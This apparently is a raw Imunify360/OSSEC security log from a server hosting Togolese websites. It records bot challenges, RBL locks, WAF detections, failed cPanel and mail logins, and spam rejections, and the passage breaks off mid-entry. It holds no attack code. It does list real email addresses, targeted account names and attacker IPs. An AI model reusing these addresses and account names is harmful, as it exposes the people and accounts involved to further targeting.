103.108.92.87 - - [19/Jun/2026:02:37:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000025&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781836638 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 19 02:37:34 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 118.179.183.121
country_id: 1210997
description:
118.179.183.121 - - [19/Jun/2026:02:38:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184804&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpaiement-des-impots-et-taxes-la-dematerialisation-des-processus-de-paiement%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781836703 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/paiement-des-impots-et-taxes-la-dematerialisation-des-processus-de-paiement/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:118.179.183.121


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.171.66.4
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/03/Dussey.png 600w, http:/togodailynews.tg/wp-content/uploads/2021/03/Dussey-300x201.png 300w, http:/togodailynews.tg/wp-content/uploads/2021/03/Dussey-272x182.png 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:41:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065007&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781836898 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [19/Jun/2026:02:42:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854507&pdata=https%253A%252F%252Fcamilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781836971 HTTP/2.0" 302 0 camilliens.tg "https://camilliens.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.168
country_id: 3865483
description:
Jun 19 02:45:16 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jun 19 02:45:10 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.168
country_id: 3865483
description:
Jun 19 02:45:24 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.28
country_id: 99237
description:
Jun 19 02:45:32 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.235.118
country_id: 1835841
description:
Jun 19 02:46:24 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.235.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.37.170.66
country_id: 1814991
description:
Jun 19 02:46:41 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.37.170.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.130.209.18
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/4a7995 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.204.64.186
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1-1024x684.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1-768x513.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1-1536x1025.jpeg 1536w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1-272x182.jpeg 272w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-13-at-08.10.28-1.jpeg 1600w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:46:35 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:46:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:46:32 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:02:46:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.228.70.163
country_id: 1522867
description:
2026-06-19 02:49:16 H=([37.228.70.163]) [37.228.70.163]:54734 F=<John@4452.com> rejected RCPT <eunice@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.205.218.43
country_id: 290557
description:
176.205.218.43 - - [19/Jun/2026:02:50:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6394987&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Ftogo-education-24-vehicules-pick-up-pour-les-inspections&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837422 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/education/togo-education-24-vehicules-pick-up-pour-les-inspections" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.205.218.43


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:02:49:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12950378&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837366 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:49:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999256&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)
abuser: 138.197.27.7
country_id: 6252001
domain: misstogo.tg
description:
IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)||MV:admlnlx||MVN:ARGS:log||WPU:admlnlx||User:tgmisefred||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.64.250
country_id: 3469034
description:
Jun 19 02:53:09 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.64.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.7
country_id: 3175395
description:
Jun 19 02:52:38 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.112.14.160
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/b7b1a9 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:02:56:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7184023&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837781 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.113.2.22
country_id: 1527747
description:
2026-06-19 02:55:40 H=([85.113.2.22]) [85.113.2.22]:7211 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.148.115.129
country_id: 1210997
description:
103.148.115.129 - - [19/Jun/2026:02:56:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722148&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fniger-la-junte-est-fermee-a-un-retour-au-pouvoir-de-bazoum-selon-la-cedeao&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837758 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/international/niger-la-junte-est-fermee-a-un-retour-au-pouvoir-de-bazoum-selon-la-cedeao" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.148.115.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.133.212.233
country_id: 1733045
description:
115.133.212.233 - - [19/Jun/2026:02:56:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646425&pdata=https%253A%252F%252Ftogodailynews.tg%252Facces-a-internet-pour-tous-togocom-lance-de-nouvelles-offres&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781837793 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/acces-a-internet-pour-tous-togocom-lance-de-nouvelles-offres" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.133.212.233


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.0.114.213
country_id: 1814991
description:
2026-06-19 02:58:22 H=([113.0.114.213]) [113.0.114.213]:6854 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 02:58:31 +0000] info [cpaneld] 185.55.240.13 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.101.9.20
country_id: 1562822
description:
Jun 19 03:00:26 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.101.9.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.101.9.20
country_id: 1562822
description:
2026-06-19 03:00:28 dovecot_plain authenticator failed for H=(vizdizcc6l1yupz137y) [116.101.9.20]:46833: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:03:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:03:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:03:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:03:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:03:04:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934741&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781838236 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:03:34 +0000] info [cpaneld] 185.55.240.13 - admin@admin.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:04:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920084&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781838238 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.247.146.34
country_id: 1880251
description:
[2026-06-19 03:06:07 +0000] info [cpaneld] 84.247.146.34 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.189.60.67
country_id: 1814991
description:
2026-06-19 03:06:44 H=([0.0.0.0]) [119.189.60.67]:36835 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.117.96.174
country_id: 3932488
description:
Jun 19 03:06:40 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.117.96.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.192.230.33
country_id: 6252001
domain: snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-06-19 03:06:42 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:47474: 535 Incorrect authentication data (set_id=orders@soena.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.189.60.67
country_id: 1814991
description:
2026-06-19 03:08:19 H=([0.0.0.0]) [119.189.60.67]:37716 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.37
country_id: 1835841
description:
Jun 19 03:07:38 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jun 19 03:07:55 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.189.60.67
country_id: 1814991
description:
2026-06-19 03:10:44 H=([0.0.0.0]) [119.189.60.67]:36272 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:11:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816678&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781838712 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-19 03:12:01 +0000] info [cpaneld] 45.61.130.187 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.174.227
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Sokod\xc3\xa9 : Evaluation de la progression des travaux de construction du march\xc3\xa9 local||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.179.134
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2023\xc2\xa0: Chants et danses, une tradition culturelle qui se perp\xc3\xa9tue||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 19 03:13:45 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:15:13 +0000] info [cpaneld] 185.55.240.13 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [19/Jun/2026:03:17:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209379&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fassociation-togolaise-pour-le-bien-etre-familial-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839042 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/association-togolaise-pour-le-bien-etre-familial-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [19/Jun/2026:03:16:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7365532&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdoctorat-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839009 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/doctorat-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [19/Jun/2026:03:18:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10133103&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839092 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:18:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
